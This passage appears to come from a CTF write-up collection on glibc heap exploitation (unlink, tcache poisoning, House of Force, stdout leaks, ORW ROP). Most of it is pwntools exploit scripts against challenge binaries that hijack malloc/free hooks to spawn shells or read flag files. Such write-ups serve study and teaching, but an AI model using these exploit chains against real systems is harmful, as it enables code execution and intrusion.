void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
To call IO_overflow
, several conditions must be met:
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
Therefore, the conditions can be satisfied by setting FILE[5] = 1, FILE[4] = 0
, and setting all bytes after FILE[5]
to 0.
Then, by forging the vtable of _IO_list_all
and overwriting the __overflow
field with libc_sys
, the exploit can be achieved.
Due to the addition of vtable checks in libc 2.27, this method is ineffective in libc 2.27.
def exploit():
add(0x18, 'a')
payload = b'a'*0x18 + p64(0x21)
payload += p32(1) + p32(0xddaa) + p64(0)
payload += p64(0) + p64(0xfa1) # the offset must be mutiples of 0x1000
edit(len(payload), payload)
add(0x1000, 'b')
add(0x408, 'c') # only largebin have fd_nextsize & bk_nextsize
# the largebin's first 16 bytes are fd & bk (i.e. main_arena+88), the next 16 bytes are fd_nextsize & bk_nextsize
show()
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5163
edit(16, 'd'*16)
show()
io.recvuntil('d'*16)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0xc0
log.success('libc_base: ' + hex(libc_base))
log.success('heap_base: ' + hex(heap_base))
libc_sys = libc_base + libc.sym['system']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
payload = b'e'*0x408 + p64(0x21)
payload += b'a'*0x10
fake_file = b'/bin/sh\0' + p64(0x60) # overflow the old_topchunk
fake_file += p64(0) + p64(_IO_list_all-0x10) # unsorted bin attack
fake_file += p64(0) + p64(1) # _IO_write_base & _IO_write_ptr
fake_file = fake_file.ljust(0xd8, b'\x00') + p64(heap_base + 0x5c8) # make vtable point itself
payload += fake_file
payload += p64(0)*2 + p64(libc_sys) # position of __overflow
edit(0x800, payload)
io.sendline('1')
axb_2019_heap——fmtstr+off by one+unlink
A small integration of heap and format string vulnerabilities.
Celebration for finishing the third page of buu~
def exploit():
# leak elf and libc by fmtstr
payload = '%11$p%15$p'
io.sendline(payload)
io.recvuntil('Hello, ')
elf_base = int(io.recv(14), 16) - 0x116a - 28
libc_base = int(io.recv(14), 16) - libc.sym['__libc_start_main'] - 240
# modify chunk1's prev_inuse to trigger unlink: ptr = node_add - 0x18
note_add = elf_base + 0x202060
add(0, 0x98, 'x')
add(1, 0x98, 'y')
add(2, 0x98, 'z')
fake_chunk = p64(0)+p64(0x91)+p64(note_add-0x18)+p64(note_add-0x10)
fake_chunk = fake_chunk.ljust(0x90, b'\0')+p64(0x90)+p8(0xa0)
edit(0, fake_chunk)
dele(1)
# modify global variable to hijack __free_hook and getshell
free_hook = libc_base + libc.sym['__free_hook']
libc_sys = libc_base + libc.sym['system']
edit(0, p64(0)*3+p64(free_hook)+p64(0x98)+p64(note_add+0x18)+b'/bin/sh\0')
edit(0, p64(libc_sys))
dele(1)
zctf2016_note2—Integer Overflow + Unlink
There is an integer overflow vulnerability in the edit function:
unsigned __int64 __fastcall read_0(char *a1, __int64 len, char stop)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
for ( i = 0LL; len - 1 > i; ++i ) // len=0
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == stop )
break;
a1[i] = buf;
}
a1[i] = 0;
return i;
}
exp:
def exploit():
io.sendline('1')
io.sendline('2')
fake_chunk = p64(0)+p64(0xa1)+p64(buf-0x18)+p64(buf-0x10) # 0x90+0x20-0x10
add(0x80, fake_chunk) #0
add(0, '') #1, unlimited buffer size
add(0x80, 'bbbbbbbb') #2
dele(1)
add(0, b'a'*0x10+p64(0xa0)+p64(0x90)) #1, chunk2's fake prev & size
dele(2)
edit(0, b'a'*0x18+p64(0x602138)) # change the ptr address itself to 4th ptr (chunk1)
edit(0, p64(elf.got['puts']))
libc_base = u64(show(3).ljust(8, b'\0')) - libc.sym['puts']
log.success('libc_base: '+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
libc_sys = libc_base + libc.sym['system']
edit(0, p64(free_hook))
edit(3, p64(libc_sys))
edit(0, ';sh\0') # there is a free func in edit func
gyctf_2020_force—House of Force + realloc_hook
Initially, I directly overwrote __malloc_hook
with a one_gadget
, but it crashed again. (One-gadgets often fail...)
Then I switched to using realloc
, and by randomly pushing a few registers, it worked.
You can refer to this master's article to understand the conditions required for exploiting one_gadget
: http://taqini.space/2020/04/29/about-execve/
def exploit():
libc_base = add(0x200000, b'1') - 0x10 + 0x201000
libc_sys = libc_base + libc.sym['system']
libc_realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base+0x4527a
top_addr = add(0x18, b'a'*0x18+p64(0xffffffffffffffff)) + 0x20
offset = libc_base + libc.sym['__malloc_hook'] - top_addr
malloc_size = offset - 0x18 - 0xf
# malloc_size = offset - 0x8 - 0xf
add(malloc_size, 'padding')
add(0x18, b'a'*8+p64(one_gadget)+p64(libc_realloc+12)) # 13 16 is also ok
# add(0x18, p64(one_gadget))
io.sendline('1')
io.sendline('24')
This can also be verified here:
──────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ rsp 0x7ffca061dcb0 —▸ 0x7f5c811ef95f (realloc+591) ◂— mov rbp, rax
01:0008│ 0x7ffca061dcb8 —▸ 0x5620ac402060 ◂— '24\n36947911353\n'
02:0010│ 0x7ffca061dcc0 ◂— 0x4
03:0018│ 0x7ffca061dcc8 ◂— 0x0
04:0020│ 0x7ffca061dcd0 —▸ 0x7ffca061de20 —▸ 0x7ffca061df50 —▸ 0x5620ac200cf0 ◂— push r15
05:0028│ 0x7ffca061dcd8 —▸ 0x5620ac2008f0 ◂— xor ebp, ebp
06:0030│ rsi 0x7ffca061dce0 —▸ 0x7ffca061e030 ◂— 0x1
07:0038│ 0x7ffca061dce8 ◂— 0x0
zctf_2016_note3—int overflow+unlink+no show
Similar to note2, first perform a heap overflow followed by an unlink, then modify the heap pointer to free.got
and edit it to puts.plt
.
Take the GOT of any function (e.g., atoi), free it to leak the libc address. Finally, use one_gadget
or system
to modify atoi.got
and free.got
.
def exploit():
# unlink part is omitted
edit(0, b'a'*0x10+p64(buf-0x18)*2+p64(0)+p64(elf.got['free'])+p64(elf.got['atoi']))
edit(2, p64(elf.plt['puts'])[:-1])
dele(3)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['atoi']
one_gadget = libc_base+0x4526a
edit(2, p64(one_gadget)[:-1])
dele(0)
libc 2.27
libc 2.27 UAF (buu-n1book: note)
There are obvious Use-After-Free (UAF) and Double Free vulnerabilities.
The approach is to fill up the tcache first and then perform a conventional unsorted bin attack.
def exploit():
add(0x90, 'aaaaaaaa')
add(0x90, 'bbbbbbbb')
add(0x90, '/bin/sh\0')
for i in range(7):
free(0)
free(1)
show(1)
addr = u64(p.recv(6).ljust(8, b'\0'))
libc_base = addr - libc.sym['__malloc_hook'] - 112
libc_sys = libc_base + libc.sym['system']
libc_free = libc_base + libc.sym['__free_hook']
edit(0, p64(libc_free))
add(0x90, p64(libc_sys)) #??????
add(0x90, p64(libc_sys))
free(2)
Alternatively, using tcache_dup:
add(0x30,'aaa\n')#0
add(0x30,'bbb\n')#1
add(0x450,'xxxx\n')#2
add(0x30,'/bin/sh\n')#3
free(2)
addr = u64(show(2).ljust(8,'\x00'))
libc_base = addr - libc.sym['__malloc_hook'] - 112
libc_sys = libc_base + libc.sym['system']
libc_free = libc_base + libc.sym['__free_hook']
free(1)
free(0)
free(0)
edit(0,p64(free_hook)+'\n')
add(0x30,p64(system)+'\n')
add(0x30,p64(system)+'\n')
dele(3)
ciscn_2019_n_3 — Heap Fengshui
Some write-ups claim this is a fastbin attack, but in reality, this challenge involves tcache (libc 2.27) heap fengshui and has nothing to do with fastbins.
def exploit():
add(0, 0x40, 'aaaa')
add(1, 0x40, 'bbbb')
free(0)
free(1)
add(2, 0xc, b'sh\0\0'+p32(elf.plt['system']))
free(0)
After the first four lines of the exploit, the heap layout is as follows:
0x955e160 0x00000000 0x08048725 ....%... <-- tcachebins[0x10][1/2]
0x955e168 0x0955e170 0x00000051 p.U.Q...
0x955e170 0x00000000 0x0000000a ........ <-- tcachebins[0x30][1/2]
0x955e178 0x00000000 0x00000000 ........
0x955e180 0x00000000 0x00000000 ........
0x955e188 0x00000000 0x00000000 ........
0x955e190 0x00000000 0x00000000 ........
0x955e198 0x00000000 0x00000000 ........
0x955e1a0 0x00000000 0x00000000 ........
0x955e1a8 0x00000000 0x00000000 ........
0x955e1b0 0x00000000 0x00000000 ........
0x955e1b8 0x00000000 0x00000011 ........
0x955e1c0 0x0955e160 0x08048725 `.U.%... <-- tcachebins[0x10][0/2]
0x955e1c8 0x0955e1d0 0x00000051 ..U.Q...
0x955e1d0 0x0955e170 0x0000000a p.U..... <-- tcachebins[0x30][0/2]
0x955e1d8 0x00000000 0x00000000 ........
0x955e1e0 0x00000000 0x00000000 ........
0x955e1e8 0x00000000 0x00000000 ........
0x955e1f0 0x00000000 0x00000000 ........
0x955e1f8 0x00000000 0x00000000 ........
0x955e200 0x00000000 0x00000000 ........
0x955e208 0x00000000 0x00000000 ........
0x955e210 0x00000000 0x00000000 ........
0x955e218 0x00000000 0x00021de9 ........ <-- Top chunk
Each time add(0x40)
is called (where 0x40 can be replaced with other values), both malloc(0xc)
and malloc(0x40)
are executed. At this point, calling add(0xc)
again will refill the first and third tcache entries.
Due to the LIFO mechanism of tcache, the next two mallocs will first fill the third tcache entry, then the first.
Observe the del
function:
int do_del()
{
int v0; // eax
v0 = ask("Index");
return (*(int (__cdecl **)(int))(records[v0] + 4))(records[v0]);
}
It can be seen that during add(0xc)
, rec_str_free()
—i.e., records[0] + 4
—is overwritten with the PLT address of system()
, and records[v0]
becomes the address of the string 'sh'
.
Thus, when free(0)
is called, it is equivalent to executing system('sh')
, which results in obtaining a shell.
npuctf_2020_easyheap——off by one+chunk overlap
def exploit():
add(0x18, 'a'*0x18) #0
add(0x18, 'b'*0x18) #1
add(0x18, '/bin/sh\0') #2
edit(0, 'x'*0x18+'\x41')
free(1)
add(0x38, p64(0)*3+p64(0x21)+p64(0x38)+p64(elf.got['free'])) #1
show(1)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['free']
log.info('libc_base: ' + hex(libc_base))
libc_sys = libc_base + libc.sym['system']
edit(1, p64(libc_sys))
free(2)
hitcontraining_magicheap—Unsorted Bin Attack
The core of the unsorted bin attack is to tamper with the bk pointer to an arbitrary address, causing that address to be overwritten with a very large number.
def exploit():
add(0x500, 'aaaa')
add(0x500, 'bbbb')
add(0x500, 'cccc')
free(1)
edit(0, 0x520, b'a'*0x500 + p64(0) + p64(0x511) + p64(0) + p64(magic-0x10))
add(0x500, '\0')
io.sendline('4869')
ciscn_2019_final_3 — tcache dup
The knowledge point isn't difficult, but the implementation is quite tricky.
A key point is that if the tcache and unsortedbin pointers are the same, free the tcache first, then free the unsortedbin. This allows allocating to a libc address after two mallocs.
def exploit():
gift = add(0, 0x18, b'a')
dele(0) # first free it as a tcache
for i in range(1, 9):
add(i, 0x68, b'a') # padding
add(9, 0x78, b'v') # padding cause 0x20+0x70*8+0x80 = 0x420, to pass unsortedbin free check
add(10, 0x28, b'/bin/sh\0') # avoid merging with top chunk
dele(9)
dele(9) # tcache dup
add(11, 0x78, p64(gift-0x10))
add(12, 0x78, p64(gift-0x10))
add(13, 0x78, p64(0)+p64(0x421)) # modify chunk0's size to unsortedbin
dele(0) # second free it as an unsortedbin
add(14, 0x18, b'a')
libc_base = add(15, 0x18, b'a') - libc.sym['__malloc_hook'] - 0x70
print(hex(libc_base))
libc_sys = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
dele(5)
dele(5)
add(16, 0x68, p64(free_hook))
add(17, 0x68, b'n1rvana_yyds')
add(18, 0x68, p64(libc_sys)) # modify free_hook's content to system
dele(10)
hitcon_2018_children_tcache——off by null
Classic sandwich method.
def exploit():
add(0x438, 'a') #0
add(0x38, 'b') #1
add(0x4f8, 'c') #2, must be multiples of 0x100
add(0x18, '/bin/sh\0') #3
dele(0)
dele(1)
for i in range(9): # clear prev_size bit by bit
add(0x38-i, b't'*(0x38-i)) #0
dele(0)
add(0x38, b't'*0x30+p64(0x440+0x40)) #0
dele(2)
add(0x438, b'libc') #1
show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('libc_base: ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + ogg_offset
add(0x38, 'd') #2
dele(0)
dele(2)
add(0x38, p64(free_hook))
add(0x38, p64(free_hook))
add(0x38, p64(one_gadget))
dele(3)
gyctf_2020_signin—tcache&calloc
calloc has the following characteristics:
- It does not allocate chunks from the tcache.
tcache has the following characteristics:
- When allocating a chunk from the fastbin, if there are other fastbin_chunks of the same size, they are all placed into the tcache.
def exploit():
for i in range(8):
add(i)
for i in range(8):
dele(i)
add(8) # give a blank to tcache
edit(7, p64(ptr-0x10)) # it's in fastbin, so the calloc() will put ptr-0x10 in tcache bin
backdoor() # and the target will become fd of 6th tcache bin

ciscn_2019_final_5—overflow+unlink+no show
Forcibly adapted from the approach used in zctf_2016_note3.
- Heap overflow caused by a logic vulnerability
- Unlink
- Modify
free.got
toputs.plt
- 1/16 chance to leak heap address
- Leak libc address after unsortedbin free
- Change
free.got
tosystem
, then getshell
🎉 Celebrating the completion of page 4 on buu ★,°:.☆( ̄▽ ̄)/$:.°★ 。
def exploit():
# heap overflow + fake_chunk
add(16, 0x448, 'aaaaaaaa')
add(1, 0x88, 'bbbbbbbb')
add(2, 0x18, '\xc0')
add(3, 0x18, '/bin/sh\0')
fake_chunk = p64(0)+p64(0x431)+p64(buf-0x18)+p64(buf-0x10)
edit(0, fake_chunk.ljust(0x430, b'\0')+p64(0x430)+p64(0x90))
# unlink, buf[0] = 0x6020c8
for i in range(4, 11):
add(i, 0x88, 'xxxxxxxx')
for i in range(4, 11):
dele(i)
dele(1)
# make len[8] > 0
for i in range(4, 9):
add(i, 0x448, '\xc0')
# leak heap_base
edit(8, p64(0)*4+p64(buf-0x18)+p64(elf.got['free']-1)+p16(0x5812))
edit(7, p64(0)+p64(elf.plt['puts']))
dele(2)
io.recvuntil(': ')
tmp = io.recvline()[:-1]
heap_base = u32(tmp.ljust(4, b'\0')) & 0xfffff000
log.success('heap_base: '+hex(heap_base))
# leak libc_base
edit(8, p64(0)*4+p64(buf-0x18)+p64(elf.got['free']-1)+p64(heap_base+0x282))
dele(2)
io.recvuntil(': ')
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - (0x7fd7b3f920c0 - 0x7fd7b3ba6000)
log.success('libc_base: '+hex(libc_base))
# getshell
edit(7, p64(0)+p64(libc_base+libc.sym['system']))
dele(3)
roarctf_2019_realloc_magic—realloc+stdout+tcache_poisoning
For the leak part, having a show function is ideal.
If there is no show function but
PIE
is disabled, you can try overwritingfree.got
withputs.plt
orprintf.plt
.If
PIE
is enabled, the only option is to useIO_stdout
.
Characteristics of realloc
:
- When ptr == nullptr, it is equivalent to malloc(size), returning the address of the allocated memory.
- When ptr != nullptr && size == 0, it is equivalent to free(ptr), returning a null pointer.
- When size is smaller than the original memory block pointed to by ptr, it directly shrinks the block and returns the ptr pointer. The trimmed portion is freed and placed into the corresponding bins.
- When size is larger than the original memory block pointed to by ptr, if there is sufficient space after the chunk pointed to by ptr, it expands directly and returns the ptr pointer; if there is not enough space, it first frees the memory allocated by ptr, then attempts to allocate memory of size, and returns the pointer to the newly allocated memory.
Copyright Notice: This article is an original work by "Assassin__is__me" on CSDN, following the CC 4.0 BY-SA copyright license. Please include the original source link and this statement when reproducing. Original link: https://blog.csdn.net/qq_35078631/article/details/126913140
Explanation of the magic number 0xfbad1800
: https://n0va-scy.github.io/2019/09/21/IO_FILE/
def exploit():
realloc(0x18, 'a')
realloc(0, '') # free it and set the NULL pointer
realloc(0x88, 'b')
realloc(0, '')
realloc(0x28, '/bin/sh\0')
realloc(0, '')
realloc(0x88, 'bb')
for i in range(7):
dele()
realloc(0, '') # unsorted bin
realloc(0x18, 'a')
# offset = int(input('input offset: '), 16) # debug
offset = 1 # 1/16 brute force
offset = (offset<<4)+7
payload = p64(0)*3 + p64(0x61) + p8(0x60) + p8(offset) # _IO_2_1_stdout_
realloc(0x48, payload) # tcache poisoning
realloc(0, '')
realloc(0x88, 'b')
realloc(0, '')
realloc(0x88, p64(0xfbad1800)+p64(0)*3+p8(0x58)) # some kind of magic qwq
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) + (0x7ff04c342000 - 0x7ff04c72a2a0)
log.success(message='libc_base: ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
libc_sys = libc_base + libc.sym['system']
lock() # restart
realloc(0x18, 'a') # the same method again
realloc(0, '')
realloc(0x98, 'b')
realloc(0, '')
realloc(0x28, '/bin/sh\0')
realloc(0, '')
realloc(0x98, 'bb')
for i in range(7):
dele()
realloc(0, '')
realloc(0x18, 'a')
payload = p64(0)*3 + p64(0x61) + p64(free_hook-0x8)
realloc(0x48, payload)
realloc(0, '')
realloc(0x98, 'b')
realloc(0, '')
realloc(0x98, b'/bin/sh\0' + p64(libc_sys))
dele()
sctf_2019_easy_heap—unlink+stdout+tcache_poisoning
The mmap was not used; directly brute-forced stdout
.
First, free a series of chunks into tcache, then modify the size and free into unsortedbin, followed by tcache_poisoning to overwrite stdout
. The subsequent steps are similar to the previous challenge.
def exploit():
# no use
io.recvuntil('Mmap: ')
mmap_addr = int(io.recvline(), 16)
print(hex(mmap_addr))
# unlink part
add(0x18) #0
heap_ptr = add(0x68) #1
elf_base = heap_ptr-0x18-0x202060
log.success('heap_ptr: ' + hex(heap_ptr))
add(0x4f8) #2, must be multiples of 0x100
add(0x18) #3
fake_chunk = p64(0)+p64(0x61)+p64(heap_ptr-0x18)+p64(heap_ptr-0x10)
fake_chunk = fake_chunk.ljust(0x60, b'\0') + p64(0x60)
edit(1, fake_chunk)
dele(2)
# free into tcache first
add(0x68) #2
[add(0x88) for i in range(7)] #4~10
add(0x5f8) #11
edit(4, p64(0)*2+p64(0x90)+p64(0x101)+b'\n') # bypass unlink check
dele(2)
[dele(i) for i in range(4, 11)]
# free into unsorted bin
edit(1, p64(0x458)+p8(0x80) + b'\n')
edit(0, p64(0x30)+p64(0x91) + b'\n')
edit(1, p64(0x458)+p8(0x90) + b'\n')
dele(0)
# IO_file attack
add(0x18) #0
# offset = int(input('input offset: '), 16) # debug
offset = 5 # 1/16 brute force
offset = (offset<<4)+7
payload = p8(0x60) + p8(offset) + b'\n'
edit(0, payload)
# leak libc
add(0x68) #2
add(0x68) #4
edit(4, p64(0xfbad1800)+p64(0)*3+p8(0x58)+b'\n')
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\0'))-0x3e82a0
log.success('libc_base: ' + hex(libc_base))
# getshell
edit(1, p64(0x18)+p64(libc_base+libc.sym['__free_hook']) + b'\n')
edit(0, p64(libc_base+libc.sym['system']) + b'\n')
edit(3, b'/bin/sh\x00' + b'\n')
dele(3)
SWPUCTF_2019_p1KkHeap——tcache_perthread_struct+orw
The tcache_perthread_struct has two functionalities:
- The first 64 bytes (changed to 128 bytes after version 2.29) modify the count (cnt).
- The following 512 bytes modify the allocation location of the next chunk for the corresponding size.
Since the program limits the number of free operations to three, we first use tcache_dup
to gain control of tcache_perthread_struct
and modify the cnt
, so that subsequent 0x90-sized chunks are directly placed into the unsorted bin when freed. Then, we change the next allocation location for the 0x80-sized chunk to a mmap-allocated address and write the ORW shellcode to read the flag. For the 0x90-sized chunk, we change it to __malloc_hook
or __exit_hook
and write the mmap address. Finally, triggering a malloc or exit will execute the shellcode.
I used __malloc_hook
, and all constraints were met perfectly.
The shell on the telecom broadband had no echo, while the campus network did—quite puzzling.
def exploit():
add(0x88) # 0
add(0x88) # 1
dele(1)
dele(1)
show(1)
io.recvuntil('content: ')
heap_base = u64(io.recvline()[:-1].ljust(8, b'\x00')) - 0x2f0
log.info('heap_base: ' + hex(heap_base))
add(0x88) # 2
edit(2, p64(heap_base+0x10))
add(0x88) # 3
add(0x88) # 4
edit(4, b'\x3f'*16 + p64(0)*13 + p64(0x66660000))
dele(0)
show(0)
io.recvuntil('content: ')
libc_base = u64(io.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebca0
log.info('libc_base: ' + hex(libc_base))
edit(4, b'\x3f'*16 + p64(0)*12 + p64(libc_base + libc.sym['__malloc_hook']) + p64(0x66660000))
add(0x88) # 5
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
payload = asm(shellcode)
edit(5, payload)
add(0x78) # 6
edit(6, p64(0x66660000))
add(0x78) # 7
libc 2.29 (>=libc 2.27-3ubuntu1.3, without tcache_dup)
Peak Geek Gift - Heap Feng Shui + Tcache Poisoning
Initially, I tried the tcache_dup
method directly, only to find that libc 2.27 no longer supports it!
Since September 10, 2020, starting from version 2.27-3ubuntu1.3, partial modifications have been made to tcache, making it very similar to version 2.29. Most current challenges are based on this enhanced version, where double free no longer exists.
The correct solution is as follows:
Because this challenge has too few indices (10), directly freeing 7 chunks to fill the tcache_list is not feasible. Instead, I used the bargain function to modify the fd pointer to a fake_chunk. This fake_chunk falls within the size range of unsortedbin and can be modified by adding a 0x60-sized heap chunk to alter the next pointer of a previously freed 0x100-sized tcache.
This approach not only leaks the fd of the unsorted bin but also modifies the fd of the next freed tcache, achieving tcache_dup. ———————————————— Copyright Notice: This article is an original work by the CSDN blogger "Loτυs," following the CC 4.0 BY-SA copyright license. Please include the original source link and this statement when reprinting. Original link: https://blog.csdn.net/Invin_cible/article/details/126396402
The heap layout is roughly as follows:

def exploit():
payload = b'a'*0xa0 + p64(0) + p64(0x421)
add(1, payload) #0
add(1, 'gggg') #1
add(1, 'kkkk') #2
add(1, 'dddd') #3
add(1, b'a'*0x80 + p64(0) + p64(0x71)) #4
dele(0)
dele(1)
bargain(1, -0xc0)
add(1, 'xxxx') #5
add(1, 'yyyy') #6
dele(6)
show(6)
libc_base = int(io.recvuntil(b'\n')[:-1],10) - malloc_offset
log.success(message='libc_base: ' + hex(libc_base))
one_gadget = libc_base + ogg_offset
free_hook = libc_base + libc.sym['__free_hook']
dele(2)
dele(1)
add(2, p64(free_hook-0x10)*10) #7
add(1, '/bin/sh\0') #8
add(1, p64(one_gadget)) #9
dele(3)
[2020 New Year Red Packet Challenge] 3 — tcache stashing unlink attack + orw rop
Attack Objectives
- Write a specified value to an arbitrary location.
- Allocate a chunk at an arbitrary address.
Prerequisites
- Ability to control the
bk
pointer of a Small Bin chunk. - The program can bypass Tcache when fetching chunks (achievable using
calloc
). - The program can allocate at least two different sizes of chunks that fall into the unsorted bin category.
The challenge requires writing a value greater than 0x7f0000000000
to a specified location. However, due to additional restrictions on unsortedbin
in libc2.29, the unsortedbin attack
is no longer effective.
Since the program uses calloc
to allocate memory, it is not possible to write values to regions like malloc_hook
using the tcache poisoning
method. But calloc
happens to be a necessary condition for the tcache stashing unlink attack
— as the saying goes, "When God closes a door, he opens a window."
Afterward, use the rop
method with orw
to read the flag
.
def exploit():
[[add(15, 4, 'chunk15\0'*4), dele(15)] for _ in range(7)]
[[add(14, 2, 'chunk14\0'*4), dele(14)] for _ in range(6)]
show(15)
heap_base = u64(io.recvline()[-7:-1].ljust(8, b'\0')) - 0x26c0
log.info('heap_base: ' + hex(heap_base))
add(1, 4, 'chunk1\0'*4)
add(13, 4, 'chunk13\0'*4) # avoid consolidate with top chunk
dele(1)
show(1)
libc_base = u64(io.recvline()[-7:-1].ljust(8, b'\0')) - 0x1e4ca0
log.info('libc_base: ' + hex(libc_base))
# now the 0x410 tcachebin is full, and the 0x100 tcachebin has 6 chunks
add(13, 3, 'chunk13\0'*4) # 0x410 - 0x310 = 0x100 unsortedbin
add(13, 3, 'chunk13\0'*4) # 0x310 > 0x100, so it will be put into 0x100 smallbin
# the 0x410 unsortedbin turns to 0x100 smallbin
add(2, 4, 'chunk2\0'*4)
add(13, 4, 'chunk13\0'*2) # avoid consolidate with top chunk
dele(2)
add(13, 3, 'chunk13\0'*4) # again
add(13, 3, 'chunk13\0'*4)
# another 0x100 smallbin, now smallbin: chunk2 -> chunk1
payload = b'0'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x37e0)+p64(heap_base+0x250+0x10+0x800-0x10)
edit(2, payload)
add(3, 2, 'chunk3\0'*4)
# tcache stashing unlink attack -> write main_arena on chunk2's bk address
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
leave_ret = libc_base + 0x0000000000058373
file_name_addr = heap_base + 0x0000000000004b40
flag_addr = file_name_addr + 0x0000000000000200
orw = b'/flag\0\0\0'
orw += p64(pop_rdi_ret)
orw += p64(file_name_addr)
orw += p64(pop_rsi_ret)
orw += p64(0) # 0 is stdin, 1 is stdout, 2 is stderr
orw += p64(libc_base+libc.symbols['open'])
orw += p64(pop_rdi_ret)
orw += p64(3) # 3 and so on is for new file descriptor
orw += p64(pop_rsi_ret)
orw += p64(flag_addr)
orw += p64(pop_rdx_ret)
orw += p64(0x40)
orw += p64(libc_base+libc.symbols['read'])
orw += p64(pop_rdi_ret)
orw += p64(1)
orw += p64(pop_rsi_ret)
orw += p64(flag_addr)
orw += p64(pop_rdx_ret)
orw += p64(0x40)
orw += p64(libc_base+libc.symbols['write'])
add(4, 4, orw)
io.sendline('666')
io.recvuntil('What do you want to say?')
io.send(b'a'*0x80 + p64(file_name_addr) + p64(leave_ret))
Easter Egg:
After replacing
flag
withlinks.txt
, there is a link: https://buuoj.cn/files/192c547dae7b582f8b5b4665e0ad3a1d/akiwuhwhUnfortunately, it returns a 404 error.
hitcon_ctf_2019_one_punch_man—tcache stashing unlink attack + orw rop
Regarding the unlink attack part, here is a condensed process:
- Create six tcache bins of size 0x100
- Create two small bins of size 0x100
- Control the fd and bk pointers of the later created smallbin; set fd to the
prev_size
part of the previous smallbin, and set bk to the location where you want to overwrite the libc address (does not need to be a multiple of 0x10) calloc(0xf0)
Here's an explanation for why it is add rsp 0x48; ret
:
In the final step when calling calloc, the stack layout is as follows, with rsp offset by 0x18 from the input:

By the time call malloc_hook(rax)
is reached, the offset changes from 0x18 to 0x40, and the call itself pushes an additional 0x8 onto the stack. Therefore, 0x40 + 0x8 = 0x48.

def getorw(libc_base, heap_base, offset):
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
flag_addr = heap_base + offset
# open
orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rdx) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
# read
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(heap_base + 0x260)
orw += p64(pop_rdx) + p64(0x70)
orw += p64(pop_rax) + p64(0)
orw += p64(syscall)
# write
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(heap_base + 0x260)
orw += p64(pop_rdx) + p64(0x70)
orw += p64(pop_rax) + p64(1)
orw += p64(syscall)
return orw
def exploit():
# leak heap
add(0, 'a' * 0x388)
dele(0)
edit(0, 'aaaaaaaa')
show(0)
io.recvuntil('aaaaaaaa')
heap_base = u64(io.recv(6).ljust(8, b'\0')) & 0xfffffffffffff000
log.success('heap_base: ' + hex(heap_base))
# leak libc
[[add(1, 'a' * 0x388), dele(1)] for i in range(6)]
add(2, 'a' * 0x388)
add(1, b'/bin/sh\0'.ljust(0x88, b'\0'))
dele(2)
show(2)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\0')) - 0x1e4ca0
log.success('libc_base: ' + hex(libc_base))
# prepare __malloc_hook at 0x221
add(0, 'a' * 0x218)
dele(0)
edit(0, p64(libc_base + libc.sym['__malloc_hook']))
# make 6 tcache bins of size 0x100
[[add(1, 'a' * 0xf8), dele(1)] for i in range(6)]
# make 2 smallbins of size 0x100
add(2, 'a' * 0x388)
add(1, 'a' * 0x88)
dele(2)
add(1, 'a' * 0x288)
add(1, 'a' * 0x288) # smallbin1
add(2, 'a' * 0x388)
add(1, 'a' * 0x288)
dele(2)
add(1, 'a' * 0x288)
add(1, 'a' * 0x288) # smallbin2, 0xb20 overflow
# tcache stashing unlink attack
payload = b'/flag'.ljust(0x280, b'\0') + p64(0) + p64(0x101) + p64(heap_base + 0x26f0) + p64(heap_base + 0x1f)
edit(2, payload)
add(1, 'a' * 0xf8)
# orw & get flag
sec('yyyyyyyy')
magic_rop = libc_base + 0x000000000008cfd6 # add rsp 0x48; ret
payload = p64(magic_rop)
sec(payload)
my_orw = getorw(libc_base, heap_base, 0x2b20)
pause()
add(0, my_orw)
libc 2.35
corctf2022_cshell2—Heap Overflow + Decrypt Safe-Linking + Tcache Poisoning
The I/O is incredibly difficult to debug; it's easy to run into errors like sh: 1: 2: not found
just when success seems within reach.
You can't even debug it!!!
Ironically: corctf{m0nk3y1ng_0n_4_d3bugg3r_15_th3_b35T!!!}
# all io.sendline() or the stream will get stuck
def decrypt_pointer(leak: int) -> int:
parts = []
parts.append((leak >> 36) << 36)
